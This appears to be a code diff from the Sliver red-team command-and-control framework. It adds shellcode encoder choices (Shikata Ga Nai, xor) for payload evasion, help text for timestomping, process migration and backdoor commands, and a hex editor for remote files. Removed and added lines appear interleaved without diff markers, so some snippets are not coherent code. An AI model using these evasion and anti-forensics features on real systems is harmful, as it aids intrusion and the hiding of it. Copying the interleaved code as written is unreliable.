clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if encoderName == "" {
return nil, fmt.Errorf("unknown shellcode encoder enum %d", int32(encoder))
}
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return nil, err
}
if _, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, encoderName); !ok {
msg := fmt.Sprintf("shellcode encoder %q is not supported for arch %s", encoderName, normalizeShellcodeArch(profile.Config.GOARCH))
if legacySGN {
con.PrintWarnf("%s, skipping.\n", msg)
} else {
return nil, errors.New(msg)
}
} else {
encodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: encoder,
Architecture: profile.Config.GOARCH,
Iterations: 1,
BadChars: []byte{},
Data: data,
})
if err != nil {
con.PrintErrorf("Error encoding shellcode")
return nil, err
}
data = encodeResp.Data
}
}
data = encodeResp.Data
}
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
+36 -3
View File
@@ -20,8 +20,10 @@ package generate
import (
"os"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
@@ -44,9 +46,40 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
}
profile := GetImplantProfileByName(name, con)
if profile != nil {
// If SGN is explicitly disabled, make sure this compilation reflects that despite whatever is set in the profile
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
// Override shellcode encoder if explicitly requested.
if cmd.Flags().Changed("shellcode-encoder") {
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
rawEncoder = strings.TrimSpace(rawEncoder)
if rawEncoder == "" {
con.PrintErrorf("shellcode-encoder cannot be empty; use 'none' to disable encoding\n")
return
}
normalized := normalizeShellcodeEncoderName(rawEncoder)
if normalized == "none" {
profile.Config.ShellcodeEncoder = clientpb.ShellcodeEncoder_NONE
profile.Config.SGNEnabled = false
} else if profile.Config.Format != clientpb.OutputFormat_SHELLCODE {
con.PrintWarnf("Shellcode encoder only applies when using `--format shellcode`, ignoring.\n")
} else {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
con.PrintErrorf("Failed to fetch shellcode encoders: %s\n", err)
return
}
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, profile.Config.GOARCH, rawEncoder)
if !ok {
compatible := compatibleShellcodeEncoderNames(encoderMap, profile.Config.GOARCH)
if len(compatible) == 0 {
con.PrintErrorf("No shellcode encoders are available for arch %s\n", normalizeShellcodeArch(profile.Config.GOARCH))
} else {
con.PrintErrorf("Unsupported shellcode encoder %q for arch %s (valid: %s)\n", rawEncoder, normalizeShellcodeArch(profile.Config.GOARCH), strings.Join(compatible, ", "))
}
return
}
profile.Config.ShellcodeEncoder = encoder
profile.Config.SGNEnabled = encoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
}
_, err := compile(implantName, profile.Config, save, con)
if err != nil {
+17 -6
View File
@@ -165,10 +165,21 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
properties["obsymbols"] = "disabled"
}
if config.SGNEnabled {
properties["sgn"] = "enabled"
} else {
properties["sgn"] = "disabled"
properties["shellcodeencoder"] = "n/a"
if config.Format == clientpb.OutputFormat_SHELLCODE {
encoder := config.ShellcodeEncoder
if encoder == clientpb.ShellcodeEncoder_NONE && config.SGNEnabled {
encoder = clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
}
properties["shellcodeencoder"] = map[clientpb.ShellcodeEncoder]string{
clientpb.ShellcodeEncoder_NONE: "none",
clientpb.ShellcodeEncoder_SHIKATA_GA_NAI: "shikata_ga_nai",
clientpb.ShellcodeEncoder_XOR: "xor",
clientpb.ShellcodeEncoder_XOR_DYNAMIC: "xor_dynamic",
}[encoder]
if properties["shellcodeencoder"] == "" {
properties["shellcodeencoder"] = fmt.Sprintf("unknown (%d)", int32(encoder))
}
}
reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
@@ -311,8 +322,8 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
properties["obsymbols"],
})
tw.AppendRow(table.Row{
"Shikata Ga Nai (SGN) is",
properties["sgn"],
"Shellcode encoder is",
properties["shellcodeencoder"],
})
con.PrintInfof("Obfuscation\n")
+119 -34
View File
@@ -47,38 +47,44 @@ var (
consts.GenerateStr: generateHelp,
consts.StageListenerStr: stageListenerHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.MsfStr: msfHelp,
consts.MsfInjectStr: msfInjectHelp,
consts.PsStr: psHelp,
consts.PingStr: pingHelp,
consts.KillStr: killHelp,
consts.LsStr: lsHelp,
consts.CdStr: cdHelp,
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.EditStr: editHelp,
consts.HexEditStr: hexEditHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
consts.ChtimesStr: chtimesHelp,
consts.ProcdumpStr: procdumpHelp,
consts.ElevateStr: elevateHelp,
consts.RunAsStr: runAsHelp,
consts.ImpersonateStr: impersonateHelp,
consts.RevToSelfStr: revToSelfHelp,
consts.ExecuteStr: executeHelp,
consts.ExecuteAssemblyStr: executeAssemblyHelp,
consts.ExecuteShellcodeStr: executeShellcodeHelp,
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.AliasesStr: loadAliasHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
consts.MountStr: mountHelp,
consts.ShikataGaNai: shikataGaNaiHelp,
consts.ShellcodeEncodersStr: shellcodeEncodersHelp,
consts.ShellcodeEncodersStr + sep + "encode": shellcodeEncodersEncodeHelp,
consts.WebsitesStr: websitesHelp,
consts.ScreenshotStr: screenshotHelp,
@@ -176,8 +182,8 @@ You can also stack the C2 configuration with multiple protocols:
[[.Bold]][[.Underline]]++ Formats ++[[.Normal]]
Supported output formats are Windows PE, Windows DLL, Windows Shellcode, Mach-O, and ELF. The output format is controlled
with the --os and --format flags.
Supported output formats include Windows PE, Windows DLL, Windows shellcode, macOS Mach-O, macOS shellcode (arm64),
and Linux ELF. The output format is controlled with the --os and --format flags.
To output a 64bit Windows PE file (defaults to WinPE/64bit), either of the following command would be used:
generate --mtls foo.example.com
@@ -193,6 +199,19 @@ To output a Linux ELF executable file, the following command would be used:
generate --os linux --mtls foo.example.com
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
When generating shellcode (--format shellcode), you can tune the shellcode generator:
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
--shellcode-compress # Enable aPLib compression (windows and macOS)
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
--shellcode-headers 1|2 # (windows only) PE headers: 1=overwrite (default), 2=keep
--shellcode-thread # (windows only) Unmanaged EXE: run entrypoint as a new thread
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
DNS canaries are unique per-binary domains that are deliberately NOT obfuscated during the compilation process.
This is done so that these unique domains show up if someone runs 'strings' on the binary, if they then attempt
@@ -298,9 +317,39 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
rmHelp = `[[.Bold]]Command:[[.Normal]] rm [remote path]
[[.Bold]]About:[[.Normal]] Delete a remote file or directory.`
chtimesHelp = `[[.Bold]]Command:[[.Normal]] chtimes [--unix | --unix-ms | --rfc3339 | --rfc1123] <path> <atime> <mtime>
[[.Bold]]About:[[.Normal]] Change access and modification times on a file (timestomp).
[[.Bold]][[.Underline]]Time Formats[[.Normal]]
Default (datetime): "2006-01-02 15:04:05"
--unix: 1704067200
--unix-ms: 1704067200000
--rfc3339: 2024-01-01T00:00:00Z
--rfc1123: Mon, 02 Jan 2006 15:04:05 MST
[[.Bold]][[.Underline]]Examples[[.Normal]]
chtimes /tmp/file "2024-01-01 12:34:56" "2024-01-01 12:35:56"
chtimes --unix /tmp/file 1704112496 1704112556
chtimes --unix-ms /tmp/file 1704112496000 1704112556000
chtimes --rfc3339 /tmp/file 2024-01-01T12:34:56Z 2024-01-01T12:35:56Z
chtimes --rfc1123 /tmp/file "Mon, 02 Jan 2006 15:04:05 MST" "Mon, 02 Jan 2006 16:04:05 MST"
`
catHelp = `[[.Bold]]Command:[[.Normal]] cat <remote path>
[[.Bold]]About:[[.Normal]] Cat a remote file to stdout.`
editHelp = `[[.Bold]]Command:[[.Normal]] edit <remote path>
[[.Bold]]About:[[.Normal]] Download a remote text file, edit it in a built-in TUI editor, and optionally upload changes.
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l) and insert mode (i). Use :wq to save+quit or :q to quit.
[[.Bold]]Syntax:[[.Normal]] Use --syntax <lexer> to force a lexer or --syntax-select to pick one interactively.
[[.Bold]]Line Numbers:[[.Normal]] Use --line-numbers to start with line numbers on; toggle with :n.`
hexEditHelp = `[[.Bold]]Command:[[.Normal]] hex-edit [--max-size <size>] [--offset <byte offset>] <remote path>
[[.Bold]]About:[[.Normal]] Download a remote file and edit it in a built-in hex editor, then optionally upload changes.
[[.Bold]]Keys:[[.Normal]] Normal mode uses vim-like navigation (h/j/k/l). Use i for hex edit mode, a for ASCII edit mode, :wq to save+quit or :q to quit.
[[.Bold]]Size Limit:[[.Normal]] Default max size is 8MB. Use --max-size to override (e.g., 512KB, 12MB).
[[.Bold]]Offset:[[.Normal]] Use --offset to jump to a specific byte offset when opening the file.`
downloadHelp = `[[.Bold]]Command:[[.Normal]] download [remote src] <local dst>
[[.Bold]]About:[[.Normal]] Download a file or directory from the remote system. Directories will be downloaded as a gzipped TAR file.
[[.Bold]][[.Underline]]Filters[[.Normal]]
@@ -385,6 +434,42 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
generate --format shellcode
`
shikataGaNaiHelp = `[[.Bold]]Command:[[.Normal]] shikata-ga-nai [local path to raw shellcode]
[[.Bold]]About:[[.Normal]] Encodes shellcode with Shikata Ga Nai. This uses the same backend implementation as
[[.Bold]]shellcode-encoders encode[[.Normal]] with the shikata_ga_nai encoder, but exposes SGN-specific options
like architecture, iterations, and bad characters.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode x64 shellcode with 3 iterations:
shikata-ga-nai -a amd64 -i 3 /tmp/payload.bin
Avoid bad chars and write to a file:
shikata-ga-nai -b 000a0d -s /tmp/payload.sgn /tmp/payload.bin
[[.Bold]]Related:[[.Normal]] shellcode-encoders encode --encoder shikata_ga_nai ...`
shellcodeEncodersHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders
[[.Bold]]About:[[.Normal]] Lists the shellcode encoders supported by the server along with architectures and descriptions.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
List encoders and supported architectures:
shellcode-encoders
`
shellcodeEncodersEncodeHelp = `[[.Bold]]Command:[[.Normal]] shellcode-encoders encode [local path to raw shellcode]...
[[.Bold]]About:[[.Normal]] Encodes one or more shellcode files using a server-side encoder. Encoder support depends on
architecture; use [[.Bold]]shellcode-encoders[[.Normal]] to list valid combinations.
[[.Bold]][[.Underline]]++ Examples ++[[.Normal]]
Encode a single file with shikata_ga_nai:
shellcode-encoders encode --encoder shikata_ga_nai --arch amd64 /tmp/payload.bin
Encode multiple files and write outputs to a directory:
shellcode-encoders encode --encoder xor --arch amd64 -o /tmp/out payload1.bin payload2.bin
Avoid bad characters with SGN:
shellcode-encoders encode --encoder shikata_ga_nai --arch 386 -b 000a0d -o /tmp/encoded.bin /tmp/payload.bin
`
migrateHelp = `[[.Bold]]Command:[[.Normal]] migrate <flags>
[[.Bold]]About:[[.Normal]] (Windows Only) Migrates into the process designated by <flags>.`
+37
View File
@@ -0,0 +1,37 @@
package hexedit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the hex-edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
hexEditCmd := &cobra.Command{
Use: consts.HexEditStr + " <remote path>",
Short: "Hex edit a remote file",
Long: help.GetHelpFor([]string{consts.HexEditStr}),
Args: cobra.ExactArgs(1),
GroupID: consts.FilesystemHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
HexEditCmd(cmd, con, args)
},
}
flags.Bind("", false, hexEditCmd, func(f *pflag.FlagSet) {
f.String("max-size", "8MB", "maximum file size to load (e.g. 8MB, 512KB)")
f.Int64("offset", 0, "byte offset to jump to (decimal or 0x...)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(hexEditCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to hex edit"),
)
return []*cobra.Command{hexEditCmd}
}
+713
View File
@@ -0,0 +1,713 @@
package hexedit
import (
"fmt"
"strconv"
"strings"
"github.com/bishopfox/sliver/util"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"golang.org/x/term"
)
type editorMode int
const (
modeNormal editorMode = iota
modeHexEdit
modeASCIIEdit
modeCommand
)
type exitAction int
const (
actionNone exitAction = iota
actionQuit
actionSaveQuit
)
const bytesPerLine = 16
type editorResult struct {
Data []byte
Modified bool
Action exitAction
Force bool
}
type editorModel struct {
data []byte
original []byte
modified []bool
modifiedCount int
cursor int
top int
width int
height int
mode editorMode
command string
commandPrefix rune
pending rune
dirty bool
forceQuit bool
action exitAction
filename string
message string
clearMessage bool
nibbleSet bool
nibbleValue byte
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
modifiedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
)
func newEditorModel(data []byte, filename string, offset int) *editorModel {
copyData := append([]byte(nil), data...)
model := &editorModel{
data: copyData,
original: append([]byte(nil), data...),
modified: make([]bool, len(copyData)),
mode: modeNormal,
filename: filename,
commandPrefix: ':',
}
if offset > 0 && offset < len(copyData) {
model.cursor = offset
}
return model
}
func (m *editorModel) Init() tea.Cmd {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
return nil
}
func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.WindowSizeMsg:
m.width = msg.Width
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
case modeHexEdit:
return m.handleHexEdit(msg)
case modeASCIIEdit:
return m.handleASCIIEdit(msg)
default:
return m.handleNormal(msg)
}
}
return m, nil
}
func (m *editorModel) View() string {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
m.height = h
} else {
m.width = 80
m.height = 24
}
m.ensureCursorVisible()
}
textHeight := m.textHeight()
var b strings.Builder
for i := 0; i < textHeight; i++ {
lineIndex := m.top + i
b.WriteString(m.renderLine(lineIndex))
if i < textHeight-1 {
b.WriteByte('\n')
}
}
if m.height < 2 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
if m.height < 3 {
return b.String()
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
}
func (m *editorModel) result() editorResult {
data := append([]byte(nil), m.data...)
return editorResult{
Data: data,
Modified: m.dirty,
Action: m.action,
Force: m.forceQuit,
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
m.commandPrefix = ':'
case tea.KeyEnter:
m.executeCommand(strings.TrimSpace(m.command))
m.command = ""
m.mode = modeNormal
m.commandPrefix = ':'
if m.action != actionNone {
return m, tea.Quit
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
}
return m, nil
}
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
m.nibbleSet = false
case tea.KeyBackspace:
if m.nibbleSet {
m.nibbleSet = false
return m, nil
}
m.moveLeft()
case tea.KeyLeft:
m.moveLeft()
m.nibbleSet = false
case tea.KeyRight:
m.moveRight()
m.nibbleSet = false
case tea.KeyUp:
m.moveUp()
m.nibbleSet = false
case tea.KeyDown:
m.moveDown()
m.nibbleSet = false
case tea.KeyRunes:
for _, r := range msg.Runes {
val, ok := hexNibble(r)
if !ok {
continue
}
if !m.nibbleSet {
m.nibbleValue = val << 4
m.nibbleSet = true
continue
}
m.setByte(m.nibbleValue | val)
m.nibbleSet = false
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if r < 0 || r > 0xFF {
continue
}
m.setByte(byte(r))
m.moveRight()
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
m.moveLeft()
case tea.KeyRight:
m.moveRight()
case tea.KeyUp:
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
if m.handleNormalRune(r) {
break
}
}
}
m.ensureCursorVisible()
return m, nil
}
func (m *editorModel) handleNormalRune(r rune) bool {
if m.pending != 0 {
handled := true
switch m.pending {
case 'g':
if r == 'g' {
m.gotoTop()
} else {
handled = false
}
default:
handled = false
}
m.pending = 0
if handled {
return true
}
}
switch r {
case 'h':
m.moveLeft()
case 'j':
m.moveDown()
case 'k':
m.moveUp()
case 'l':
m.moveRight()
case '0':
m.moveLineStart()
case '$':
m.moveLineEnd()
case 'i':
m.mode = modeHexEdit
m.nibbleSet = false
case 'a':
m.mode = modeASCIIEdit
case 'x':
m.setByte(0x00)
case 'g':
m.pending = 'g'
case 'G':
m.gotoBottom()
case ':':
m.mode = modeCommand
m.command = ""
m.commandPrefix = ':'
}
return false
}
func (m *editorModel) executeCommand(cmd string) {
if cmd == "" {
return
}
if isNumericOffset(cmd) {
if value, err := strconv.ParseInt(cmd, 0, 64); err == nil {
m.gotoOffset(int(value))
return
}
}
switch strings.ToLower(cmd) {
case "q":
m.action = actionQuit
case "q!":
m.action = actionQuit
m.forceQuit = true
case "wq", "x":
m.action = actionSaveQuit
case "w":
m.message = "Use :wq to upload and exit"
m.clearMessage = true
default:
m.message = fmt.Sprintf("Unknown command: %s", cmd)
m.clearMessage = true
}
}
func (m *editorModel) renderLine(lineIndex int) string {
totalWidth := m.textWidth()
if totalWidth <= 0 {
return ""
}
if lineIndex >= m.totalLines() {
return lineStyle.Width(totalWidth).Render("~")
}
lineStart := lineIndex * bytesPerLine
hexCells := make([]string, bytesPerLine)
asciiCells := make([]string, bytesPerLine)
for i := 0; i < bytesPerLine; i++ {
idx := lineStart + i
if idx >= len(m.data) {
hexCells[i] = " "
asciiCells[i] = " "
continue
}
byteVal := m.data[idx]
hexRaw := fmt.Sprintf("%02x", byteVal)
if idx == m.cursor && m.mode == modeHexEdit && m.nibbleSet {
hexRaw = string([]byte{hexChar(m.nibbleValue >> 4), '_'})
}
asciiRaw := string(printableByte(byteVal))
isModified := m.isModified(idx)
if idx == m.cursor {
if isModified {
hexCells[i] = modifiedCursorStyle.Render(hexRaw)
asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
} else {
hexCells[i] = cursorStyle.Render(hexRaw)
asciiCells[i] = cursorStyle.Render(asciiRaw)
}
continue
}
if isModified {
hexCells[i] = modifiedStyle.Render(hexRaw)
asciiCells[i] = modifiedStyle.Render(asciiRaw)
continue
}
hexCells[i] = hexRaw
asciiCells[i] = asciiRaw
}
var b strings.Builder
b.WriteString(fmt.Sprintf("%08x", lineStart))
b.WriteString(": ")
for i := 0; i < bytesPerLine; i++ {
if i == 8 {
b.WriteByte(' ')
}
b.WriteString(hexCells[i])
if i < bytesPerLine-1 {
b.WriteByte(' ')
}
}
b.WriteString(" |")
for i := 0; i < bytesPerLine; i++ {
b.WriteString(asciiCells[i])
}
b.WriteString("|")
return lineStyle.Width(totalWidth).Render(b.String())
}
func (m *editorModel) statusLine() string {
mode := "NORMAL"
switch m.mode {
case modeHexEdit:
mode = "HEX"
case modeASCIIEdit:
mode = "ASCII"
case modeCommand:
mode = "COMMAND"
}
fileName := baseName(m.filename)
if fileName == "" {
fileName = "[No Name]"
}
modified := ""
if m.dirty {
modified = " [+]"
}
cursor := m.cursor
return fmt.Sprintf(" %s %s Off 0x%08x (%d) Size %s%s", mode, fileName, cursor, cursor, util.ByteCountBinary(int64(len(m.data))), modified)
}
func (m *editorModel) commandLine() string {
if m.mode == modeCommand {
return ":" + m.command
}
if m.message != "" {
return m.message
}
switch m.mode {
case modeHexEdit:
return "ESC: normal hex: 0-9/a-f :wq save+quit :q quit"
case modeASCIIEdit:
return "ESC: normal type to edit bytes :wq save+quit :q quit"
default:
return "i: hex edit a: ascii edit h/j/k/l move x zero :wq save+quit :q quit"
}
}
func (m *editorModel) textHeight() int {
if m.height <= 2 {
return 1
}
return m.height - 2
}
func (m *editorModel) textWidth() int {
if m.width <= 0 {
return 1
}
return m.width
}
func (m *editorModel) totalLines() int {
if len(m.data) == 0 {
return 1
}
return (len(m.data) + bytesPerLine - 1) / bytesPerLine
}
func (m *editorModel) ensureCursorVisible() {
if len(m.data) == 0 {
m.cursor = 0
m.top = 0
return
}
if m.cursor < 0 {
m.cursor = 0
}
if m.cursor >= len(m.data) {
m.cursor = len(m.data) - 1
}
line := m.cursor / bytesPerLine
height := m.textHeight()
if line < m.top {
m.top = line
} else if line >= m.top+height {
m.top = line - height + 1
}
if m.top < 0 {
m.top = 0
}
maxTop := m.totalLines() - height
if maxTop < 0 {
maxTop = 0
}
if m.top > maxTop {
m.top = maxTop
}
}
func (m *editorModel) moveLeft() {
if len(m.data) == 0 {
return
}
if m.cursor > 0 {
m.cursor--
}
}
func (m *editorModel) moveRight() {
if len(m.data) == 0 {
return
}
if m.cursor < len(m.data)-1 {
m.cursor++
}
}
func (m *editorModel) moveUp() {
if len(m.data) == 0 {
return
}
if m.cursor >= bytesPerLine {
m.cursor -= bytesPerLine
}
}
func (m *editorModel) moveDown() {
if len(m.data) == 0 {
return
}
if m.cursor+bytesPerLine < len(m.data) {
m.cursor += bytesPerLine
}
}
func (m *editorModel) moveLineStart() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
m.cursor = line * bytesPerLine
}
func (m *editorModel) moveLineEnd() {
if len(m.data) == 0 {
return
}
line := m.cursor / bytesPerLine
end := (line+1)*bytesPerLine - 1
if end >= len(m.data) {
end = len(m.data) - 1
}
m.cursor = end
}
func (m *editorModel) gotoTop() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = 0
}
func (m *editorModel) gotoBottom() {
if len(m.data) == 0 {
m.cursor = 0
return
}
m.cursor = len(m.data) - 1
}
func (m *editorModel) gotoOffset(offset int) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if offset < 0 || offset >= len(m.data) {
m.message = fmt.Sprintf("Offset out of range: %d", offset)
m.clearMessage = true
return
}
m.cursor = offset
m.ensureCursorVisible()
}
func (m *editorModel) setByte(value byte) {
if len(m.data) == 0 {
m.message = "Empty file"
m.clearMessage = true
return
}
if m.cursor >= len(m.data) || m.cursor >= len(m.original) {
return
}
wasModified := m.modified[m.cursor]
orig := m.original[m.cursor]
m.data[m.cursor] = value
if value == orig {
if wasModified {
m.modified[m.cursor] = false
if m.modifiedCount > 0 {
m.modifiedCount--
}
}
} else if !wasModified {
m.modified[m.cursor] = true
m.modifiedCount++
}
m.dirty = m.modifiedCount > 0
}
func printableByte(b byte) byte {
if b >= 32 && b <= 126 {
return b
}
return '.'
}
func (m *editorModel) isModified(idx int) bool {
if idx < 0 || idx >= len(m.modified) {
return false
}
return m.modified[idx]
}
func hexChar(n byte) byte {
if n < 10 {
return '0' + n
}
return 'a' + (n - 10)
}
func hexNibble(r rune) (byte, bool) {
switch {
case r >= '0' && r <= '9':
return byte(r - '0'), true
case r >= 'a' && r <= 'f':
return byte(r-'a') + 10, true
case r >= 'A' && r <= 'F':
return byte(r-'A') + 10, true
}
return 0, false
}
func isNumericOffset(value string) bool {
value = strings.TrimSpace(value)
if value == "" {
return false
}
if strings.HasPrefix(strings.ToLower(value), "0x") {
_, err := strconv.ParseInt(value, 0, 64)
return err == nil
}
for _, r := range value {
if r < '0' || r > '9' {
return false
}
}
return true
}
func popRune(value string) string {
runes := []rune(value)
if len(runes) == 0 {
return value
}
return string(runes[:len(runes)-1])
}
func baseName(path string) string {
if path == "" {
return ""
}
clean := strings.ReplaceAll(path, "\\", "/")
if idx := strings.LastIndex(clean, "/"); idx != -1 {
return clean[idx+1:]
}
return path
}
+349
View File
@@ -0,0 +1,349 @@
package hexedit
import (
"context"
"errors"
"fmt"
"strconv"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
const (
beaconPollInterval = 1 * time.Second
)
// HexEditCmd downloads a remote file, opens it in a hex editor, and optionally uploads changes.
func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
maxSizeStr, _ := cmd.Flags().GetString("max-size")
maxSize, err := parseByteSize(maxSizeStr)
if err != nil {
con.PrintErrorf("Invalid --max-size %q: %s\n", maxSizeStr, err)
return
}
if maxSize <= 0 {
con.PrintErrorf("--max-size must be greater than zero\n")
return
}
offset, _ := cmd.Flags().GetInt64("offset")
if offset < 0 {
con.PrintErrorf("--offset must be zero or positive\n")
return
}
fetchSize := maxSize + 1
if fetchSize < maxSize {
fetchSize = maxSize
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath, fetchSize)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if int64(len(data)) > maxSize {
